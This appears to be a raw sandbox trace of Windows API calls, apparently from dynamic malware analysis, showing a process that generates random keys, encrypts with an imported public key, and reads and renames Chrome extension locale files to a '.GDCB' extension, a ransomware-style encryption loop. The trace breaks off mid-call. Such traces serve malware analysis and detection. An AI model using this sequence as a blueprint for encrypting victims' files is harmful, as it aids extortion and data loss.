[0264.860] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0264.862] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0264.862] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0264.862] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0264.863] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0264.865] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67949e0) returned 1 [0264.865] CryptGetKeyParam (in: hKey=0x67949e0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0264.865] CryptEncrypt (in: hKey=0x67949e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0264.865] GetLastError () returned 0x0 [0264.865] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0264.865] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0264.867] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6794c60) returned 1 [0264.867] CryptGetKeyParam (in: hKey=0x6794c60, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0264.867] CryptEncrypt (in: hKey=0x6794c60, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0264.867] GetLastError () returned 0x0 [0264.867] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0264.867] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\lt\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\lt\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0264.869] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0264.872] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0264.875] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xeb, lpOverlapped=0x0) returned 1 [0264.885] VirtualAlloc (lpAddress=0x0, dwSize=0xf0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0264.892] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\lt\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\lt\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\lt\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\lt\\messages.json.gdcb")) returned 1 [0264.898] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0264.901] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0264.903] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0264.903] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0264.903] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0264.903] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0264.906] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0264.908] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0264.908] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0264.908] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0264.908] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0264.911] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6794e60) returned 1 [0264.911] CryptGetKeyParam (in: hKey=0x6794e60, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0264.911] CryptEncrypt (in: hKey=0x6794e60, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0264.911] GetLastError () returned 0x0 [0264.911] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0264.911] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0264.913] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6794f20) returned 1 [0264.913] CryptGetKeyParam (in: hKey=0x6794f20, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0264.913] CryptEncrypt (in: hKey=0x6794f20, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0264.913] GetLastError () returned 0x0 [0264.913] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0264.913] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\lv\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\lv\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0264.914] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0264.917] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0264.920] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xe5, lpOverlapped=0x0) returned 1 [0264.928] VirtualAlloc (lpAddress=0x0, dwSize=0xf0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0264.938] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\lv\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\lv\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\lv\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\lv\\messages.json.gdcb")) returned 1 [0264.943] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0264.946] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0264.950] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0264.950] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0264.950] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0264.951] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0264.953] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0264.955] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0264.955] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0264.955] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0264.955] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0264.958] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6795020) returned 1 [0264.958] CryptGetKeyParam (in: hKey=0x6795020, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0264.958] CryptEncrypt (in: hKey=0x6795020, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0264.958] GetLastError () returned 0x0 [0264.958] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0264.958] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0264.960] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6794d60) returned 1 [0264.960] CryptGetKeyParam (in: hKey=0x6794d60, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0264.960] CryptEncrypt (in: hKey=0x6794d60, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0264.960] GetLastError () returned 0x0 [0264.960] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0264.960] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ms\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ms\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0264.961] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0264.964] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0264.967] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xd0, lpOverlapped=0x0) returned 1 [0264.976] VirtualAlloc (lpAddress=0x0, dwSize=0xd0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0264.982] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ms\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ms\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ms\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ms\\messages.json.gdcb")) returned 1 [0264.988] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0264.991] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0264.993] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0264.993] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0264.993] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0264.993] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0264.995] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0264.997] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0264.998] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0264.998] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0264.998] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0265.000] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6794fa0) returned 1 [0265.000] CryptGetKeyParam (in: hKey=0x6794fa0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0265.000] CryptEncrypt (in: hKey=0x6794fa0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0265.001] GetLastError () returned 0x0 [0265.001] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0265.001] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0265.002] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6794b60) returned 1 [0265.002] CryptGetKeyParam (in: hKey=0x6794b60, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0265.002] CryptEncrypt (in: hKey=0x6794b60, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0265.003] GetLastError () returned 0x0 [0265.003] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0265.003] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\nl\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\nl\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0265.004] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0265.007] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0265.009] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xdd, lpOverlapped=0x0) returned 1 [0265.019] VirtualAlloc (lpAddress=0x0, dwSize=0xe0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0265.025] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\nl\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\nl\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\nl\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\nl\\messages.json.gdcb")) returned 1 [0265.032] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0265.036] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0265.038] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0265.038] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0265.038] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0265.038] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0265.041] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0265.043] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0265.044] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0265.044] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0265.044] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0265.046] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6794a20) returned 1 [0265.046] CryptGetKeyParam (in: hKey=0x6794a20, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0265.046] CryptEncrypt (in: hKey=0x6794a20, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0265.046] GetLastError () returned 0x0 [0265.046] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0265.046] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0265.048] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6794a60) returned 1 [0265.048] CryptGetKeyParam (in: hKey=0x6794a60, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0265.048] CryptEncrypt (in: hKey=0x6794a60, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0265.049] GetLastError () returned 0x0 [0265.049] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0265.049] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\no\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\no\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0265.050] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0265.053] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0265.055] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xbf, lpOverlapped=0x0) returned 1 [0265.064] VirtualAlloc (lpAddress=0x0, dwSize=0xc0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0265.071] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\no\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\no\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\no\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\no\\messages.json.gdcb")) returned 1 [0265.077] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0265.080] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0265.082] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0265.082] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0265.082] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0265.082] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0265.084] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0265.086] GetProcAddress (hModule=0x74c90000, 